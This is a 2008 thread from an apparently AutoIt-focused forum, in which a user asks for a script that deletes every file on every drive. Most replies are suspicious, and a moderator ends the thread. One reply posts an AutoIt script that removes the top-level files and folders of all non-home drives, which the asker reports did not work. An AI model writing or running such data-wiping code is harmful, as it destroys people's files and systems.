Anonymouse Posted June 29, 2008 Share Posted June 29, 2008 Hi how can i make a script that will check what drives are available on the system and then delete all the files of the drives?Sounds like it can be quite malicious. I don't think you will get much help here - especially without any sample code. children may smile; the wise ponder- Dr. Holmes of Hardvard Medical School on an Ether BingeLove Makes The World Go Round?So does five shots of tequila.

TehWhale Posted June 29, 2008 Share Posted June 29, 2008 How about read the helpfile some, show us some code that you tried, and you may get some help. Why exactly would you want to get all the drives, and delete every file off every drive? Link to comment Share on other sites More sharing options...

Why exactly would you want to get all the drives, and delete every file off every drive? To get you started, read the helpfile for these functions.

TehWhale Posted June 29, 2008 Share Posted June 29, 2008 I decided to make this in a few minutes. It will remove all directories, and files, from all drives that are NOT your home drive. #Include <File.au3> $Drives = DriveGetDrive("All") For $i=1 To $Drives[0];Saying from drive 1 until the end of the drives, $Drives[0] If Not $Drives[$i] = @HomeDrive Then $FilesArray = _FileListToArray($Drives[$i], "*.", 2) For $u=1 To $FilesArray[0] DirRemove($Drives[$i]&"\"&$FilesArray[$u]) Next $FilesArray = _FileListToArray($Drives[$i], "*.", 1) For $b=1 To $FilesArray[0] FileDelete($Drives[$i]&"\"&$FilesArray[$b]) Next EndIf Next Link to comment Share on other sites More sharing options...

Ioannis Posted June 29, 2008 Author Share Posted June 29, 2008 I just tried yours bit it doesn't do anything to all the other drives! Link to comment Share on other sites More sharing options...
Moderators SmOke_N Posted June 29, 2008 Moderators Share Posted June 29, 2008 I just tried yours bit it doesn't do anything to all the other drives!You have no reason to delete drives... well no viable reason anyway. Do not post or ask for it again. Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.
